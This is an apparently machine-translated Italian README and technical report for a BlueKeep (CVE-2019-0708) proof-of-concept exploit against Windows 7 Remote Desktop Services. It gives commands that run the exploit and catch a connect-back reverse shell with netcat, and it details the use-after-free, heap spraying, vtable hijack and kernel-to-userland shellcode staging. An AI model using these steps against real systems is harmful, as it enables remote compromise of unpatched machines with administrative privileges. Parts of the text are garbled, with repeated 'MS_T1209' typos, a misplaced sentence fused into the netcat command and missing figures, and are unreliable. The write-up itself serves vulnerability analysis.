
CVE-2019-0708 (BlueKeep) prova di concetto che consente RCE pre-auth su Windows7
Questo repository dimostra il bug di esecuzione di codice remoto in Windows Remote Desktop Services (RDS).
Qui sono presenti un codice POC e un rapporto tecnico sulla vulnerabilità BlueKeep, che abbiamo sviluppato in precedenza. NOTA: Il nostro obiettivo è aiutare gli analisti a comprendere meglio le vulnerabilità critiche.
Il nostro codice exploit è scritto in Python 3 e si basa sulla libreria PyRDP. Si prega di configurarli seguendo la guida all'installazione di PyRDP.
Attualmente il nostro exploit ha come target, ed è testato su, Windows 7 SP 1 (6.1.7601) x64 su Virtual Box.
Se il tuo computer ha l'indirizzo IP 192.168.56.1 e punti al server RDP su example.com:1234, allora digita
$ python exploit.py example.com -rp 1234 192.168.56.1
Se lo script sfrutta con successo il server, un shellcode di connessione di ritorno avvia una connessione TCP dal server verso 192.168.56.1:4444. Pertanto, ad esempio, dovresti attendere la connessione con netcat:
Pertanto, ci sono molte cose da fare dopo aver ottenuto l'esecuzione arbitraria di codice, sebbene tutte queste cose possano essere risolte quasi direttamente. Infine, il nostro exploit ha raggiunto il suo scopo.$ nc -v -l 4444
Se vuoi cambiare il numero di porta a cui il server si riconnette, usa l'opzione -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
Nel maggio 2019, Microsoft ha divulgato una vulnerabilità critica di esecuzione di codice remoto CVE-2019-0708, in Remote Desktop Services (precedentemente noti come Terminal Services). Questa vulnerabilità è pre-autenticazione – il che significa che la vulnerabilità è wormabile, con il potenziale di causare interruzioni diffuse. Un aggressore può sfruttare questa vulnerabilità inviando messaggi di Remote Desktop Protocol (RDP) appositamente modificati al server di destinazione e ottenere l'esecuzione arbitraria di codice con privilegi amministrativi.
Microsoft Remote Desktop Services fornisce a un utente sessioni interattive Windows aperte da remoto. Presenta il desktop Windows dell'utente comunicando con il client utente utilizzando il Remote Desktop Protocol (RDP) sulla porta 3389/TCP.
Il protocollo RDP ha la capacità di essere migliorato attraverso estensioni software chiamate Canale Virtuale. Esempi di miglioramenti funzionali potrebbero includere: supporto per tipi speciali di hardware, audio o altre aggiunte alla funzionalità di base. Questi canali includono canali standard forniti da Microsoft come "rdpdr" (Reindirizzamento), "rdpsnd" (Suono), "cliprdr" (Condivisione appunti), ecc. Gli utenti possono scrivere moduli utilizzando l'API RDP per supportare altri canali. Oltre ai canali sopra menzionati, Microsoft crea due canali per impostazione predefinita: MS_T120 (usato per RDP stesso) e CTXTW (usato in Citrix ICA).
La vulnerabilità è correlata al processo di associazione dei canali virtuali di MS_T120 tramite la richiesta "MCS Connect Initial e GCC Create". Ulteriori informazioni di base sono disponibili su ZDI. Come accennato nell'articolo di ZDI, tutti i canali virtuali richiesti dal client vengono creati utilizzando termdd!IcaCreateChannel(). I puntatori a queste strutture di canale vengono quindi memorizzati in una tabella, che chiameremo ChannelPointerTable. Quando viene stabilita una connessione con il client RDP, tutti i canali virtuali statici, incluso MS_T120, vengono inizializzati internamente dal server RDP di Windows e puntati da ChannelPointerTable.
La query per creare MS_T120 e CTXTW viene emessa da rdpcore!WDLIB_IcaVirtualQueryBindings().
Fig .1: Generazione della query per creare MS_T120 e CTXTW
Dopo che la query viene passata a termdd!IcaBindVirtualChannels(), una struttura di canale virtuale viene creata in termdd!IcaAllocateChannel() e registrata in ChannelPointerTable.
Fig .2: Creazione e registrazione della struttura del canale virtuale
La funzione routine termdd!IcaBindChannel() è responsabile della registrazione di una struttura di canale virtuale in ChannelPointerTable.
Ecco il trace dello stack su Windows 7 x64, quando termdd!IcaBindChannel() viene chiamata con il primo argomento "MS_T120" e il terzo argomento 0x1f.
Fig .3: MS_T1209 viene associato allo slot 0x1f durante la richiesta iniziale
Quindi ChannelPointerTable appare come segue. Nota che MS_T120 è sempre presente nello Slot 0x1F.
Fig .4: ChannelPointerTable durante la richiesta iniziale
Esiste una vulnerabilità use-after-free nel driver del kernel RDP di Windows, termdd.sys.
Il problema è che quando il client specifica un canale con nome MS_T120\x00 durante "MCS Connect Initial e GCC Create", termdd!IcaCreateChannel() chiama termdd!IcaFindChannelByName() e restituisce la
struttura del canale MS_T120 esistente nello Slot 0x1F. Quindi questa struttura del canale viene considerata come una nuova voce di canale virtuale e memorizzata in un altro Slot (in questo esempio, Slot 2) durante "MCS Attach User Request".
Ecco il trace dello stack su Windows 7 x64, quando termdd!IcaBindChannel() viene chiamata con il primo argomento "MS_T120" e il terzo argomento 0x2.
Fig .5: MS_T1209 viene anche associato allo slot 0x2 durante la richiesta di attach
In altre parole, la struttura del canale MS_T120 è puntata da due slot 0x1F e 0x2.
Fig .6: ChannelPointerTable durante la richiesta di attach
Se un aggressore invia quindi dati non validi nel canale MS_T120, termdd.sys chiude il canale usando termdd!IcaCloseChannel(), cancellando il puntatore nello slot. (Slot 2 nell'esempio corrente) Tuttavia, lo stesso puntatore nello Slot 0x1F non viene cancellato. Successivamente, quando la connessione termina, RDPWD!HandleDisconnectProviderUlt() viene invocata, che a sua volta chiama termdd!IcaChannelInputInternal() e tenta di distruggere nuovamente la struttura del canale MS_T1209 liberata utilizzando il puntatore nello Slot 0x1F. Una procedura di distruzione viene invocata tramite il puntatore vtable all'interno della struttura del canale. Ciò porta a una condizione use-after-free.
Fig .7: dereferenziazione vtable
Come spiegato nella sezione precedente, RDPWD!HandleDisconnectProviderUlt() tenta di chiamare una funzione dal puntatore vtable all'interno della struttura del canale liberata. Se un aggressore può controllare i valori nella struttura del canale, può sovrascrivere il puntatore vtable, portando all'esecuzione arbitraria di codice con privilegi di kernel. Per realizzare ciò, tuttavia, ci sono due difficoltà da superare.
Una è come controllare i valori nella struttura del canale liberata in primo luogo. A questo scopo, è tipico e stabile per un aggressore allocare memoria nella stessa posizione in cui si trova la struttura liberata, poiché la vulnerabilità bersaglio è use-after-free.
Tuttavia, in questo caso non esiste un modo deterministico per lui di allocare la sua memoria nella posizione target come desidera.
Questo perché, nel kernel, molti thread vengono eseguiti e allocano memoria (virtualmente) contemporaneamente. Dove verrà allocata la sua memoria dipende dall'ordine in cui i thread vengono eseguiti. Nella maggior parte dei casi, non può essere certo di aver effettuato un'allocazione riuscita.

L'altra è dove impostare gli indirizzi della vtable e dei puntatori al suo interno. Come visto nella sezione precedente, un aggressore deve impostare l'indirizzo della vtable. Poiché vuole ottenere l'esecuzione arbitraria di codice, dovrebbe impostare l'indirizzo in modo che la vtable falsa contenga l'indirizzo che vuole venga eseguito (ad esempio l'indirizzo di uno shellcode o di qualche gadget). Tuttavia, quasi certamente non può conoscere un indirizzo così adatto a causa della casualità dell'heap del kernel e di KASLR:
Questi fatti significano che un aggressore non può ottenere direttamente l'esecuzione arbitraria di codice anche se può controllare il puntatore vtable, a meno che non utilizzi un'altra vulnerabilità che riveli gli indirizzi nel kernel. Inoltre, come potresti notare, "l'indirizzo di uno shellcode o di qualche gadget" è anche qualcosa che un aggressore non può conoscere.
Il nostro exploit affronta questi ostacoli con una sola tecnica: heap spraying. L'heap spraying è un metodo per rompere queste casualità, effettuando un gran numero di allocazioni di una grande quantità di memoria.
Fig .8: Utilizzo del pool heap prima dello spraying
Fig .9: Utilizzo del pool heap dopo lo spraying
Ripetendo l'allocazione manipolata molte volte, un aggressore può aumentare la probabilità che parte della memoria allocata si trovi nella posizione della struttura del canale liberata.
Se la maggior parte degli oggetti nell'heap del kernel sono quelli preparati da un aggressore, allora può persino specificare con disinvoltura qualche indirizzo nell'heap come indirizzo della vtable falsa perché l'indirizzo specificato è molto probabile che punti ai suoi oggetti. Notiamo che l'indirizzo base dell'heap del kernel non è randomizzato da KASLR. Fondamentalmente la casualità dell'heap deriva solo dall'ordine di esecuzione dei thread.
Fortunatamente e soprattutto, in Windows 7, il bit NX non è abilitato nel pool del kernel non paginato. Ciò significa che un aggressore può memorizzare nell'heap del kernel non solo la vtable falsa, ma anche uno shellcode direttamente. Questo rende lo sfruttamento molto più semplice poiché non abbiamo bisogno di utilizzare la return-oriented programming.
Fig .10: Permessi della Page Table Entry (PTE)
Per l'heap spraying, ovviamente un aggressore ha bisogno della funzionalità che gli permetta di allocare memoria nell'heap del kernel e di fornire un input in essa. Basandosi sul rapporto di Unit 42 e sull'exploit BlueKeep in Metasploit, abbiamo cercato nei driver del kernel routine che forniscono tale funzionalità. Abbiamo testato molti PDU e infine concluso che il modo più affidabile e utile è inviare PDU del canale virtuale al canale rdpsnd come fa l'exploit di Metasploit. Per tua referenza, spieghiamo perché non abbiamo potuto adottare tre tipi di PDU introdotti nel rapporto di Unit 42:
Il PDU del canale virtuale, come suggerisce il nome, viene scambiato tra client e server per trasportare dati ai canali virtuali statici. Per quanto riguarda come i dati all'interno del PDU verranno elaborati, varia in base al canale. Tra diversi canali ben noti che Microsoft fornisce come estensioni, il canale rdpsnd ha la caratteristica unica di ricevere qualsiasi input e allocare memoria per esso. Poiché questo canale può essere utilizzato per impostazione predefinita in Windows 7, possiamo semplicemente inviare i nostri payload ad esso per l'heap spraying.
Abbiamo scritto una prova di concetto tenendo a mente i punti importanti sopra menzionati e abbiamo ottenuto con successo l'esecuzione arbitraria di codice.
Fig .11: Indirizzo vtable controllato
Fig .12: Riuscito a sovrascrivere l'indirizzo vtable con uno malintenzionato che punta uno shellcode (ud2)
Sebbene abbiamo descritto come ottenere l'esecuzione di uno shellcode nella sezione precedente, in realtà non è tutto. Lo shellcode viene eseguito nel kernel land mentre ciò che un aggressore vuole sono privilegi amministrativi nello "userland". Sono teoricamente simili in ciò che può fare con esso, ma diversi in come può realizzare le azioni che vuole fare con esso. Ad esempio, con uno shellcode, un aggressore potrebbe dover scrivere centinaia di righe di codice assembly per elencare i file in una directory, mentre potrebbe semplicemente digitare 'dir' con una shell privilegiata.
Pertanto, l'obiettivo del nostro exploit è fornire una shell privilegiata per un aggressore, e ciò richiede alcuni sforzi aggiuntivi per essere realizzato. Poiché lo shellcode viene eseguito nel kernel land, innanzitutto lo shellcode deve trovare o creare un thread (privilegiato) in userland, e quindi eseguire cmd.exe in quel thread. Questa volta dobbiamo considerare due questioni: come trovare o creare un thread, e come allocare memoria nello userland per eseguire lo shellcode in userland.
La prima questione di trovare un thread in userland sorge a causa del fatto che il contesto in cui viene eseguito lo shellcode non è un contesto di processo normale. Se viene eseguito all'interno di un contesto di processo, può semplicemente usare l'istruzione IRET per tornare allo userland. Tuttavia, in questo caso l'esecuzione di IRET causa il blocco del kernel. Esistono diversi modi per risolvere questo problema, ma tra questi, il metodo più generale e utile è asynchronous procedure call (APC), il meccanismo che Windows fornisce per elaborare eventi asincroni. APC consente a un programma di eseguire funzioni in un contesto di thread specificato anche di un processo diverso. Con questo meccanismo, lo shellcode può facilmente e legittimamente creare un nuovo thread in userland.
Quando si registra APC, dobbiamo specificare l'indirizzo da cui un nuovo thread in userland avvia l'esecuzione. Tuttavia, finora abbiamo allocato memoria solo nell'heap del kernel, a cui un thread in userland chiaramente non può accedere. Per far sì che uno shellcode in userland venga eseguito, dobbiamo preparare un'altra posizione di memoria che possa essere vista dallo userland e memorizzare lì lo shellcode in userland. Pertanto, incontriamo la seconda questione di allocare memoria in userland. Un modo possibile e normale per affrontare questo problema è creare una nuova mappatura con ZwAllocateVirtualMemory. Questo è, tuttavia, un po' ridondante, e in realtà esiste un modo più semplice in Windows 7: usare KUSER_SHARED_DATA. KUSER_SHARED_DATA è una struttura dati memorizzata nella mappatura dedicata, che è mappata sia in userland che in kernel land, e si trova all'indirizzo fisso (0x7FFE0000 e 0xFFFFF78000000000, rispettivamente). Questa è una funzionalità simile a vsyscall in Linux. Se memorizziamo lo shellcode in userland in questa mappatura, tutto funziona bene: lo shellcode in kernel land può copiare lo shellcode in userland in questa mappatura, e registrare APC senza difficoltà poiché conosce l'indirizzo della mappatura.
Fig .13: Lo shellcode è memorizzato nella mappatura dedicata, 0x7FFE0000 (usermode) e 0xFFFFF78000000000 (kernelmode)
Fig .14: Un corpo dello Shellcode
A questa vulnerabilità è stato assegnato un numero CVE, CVE-2019-0708. Microsoft ha già pubblicato una patch di sicurezza KB4499175 il 15/05/2019. Puoi vedere maggiori dettagli sulla vulnerabilità, sulla versione affetta e sulle mitigazioni qui.
Questo progetto è stato parzialmente supportato da Advanced Technology Lab, Recruit Co., Ltd.
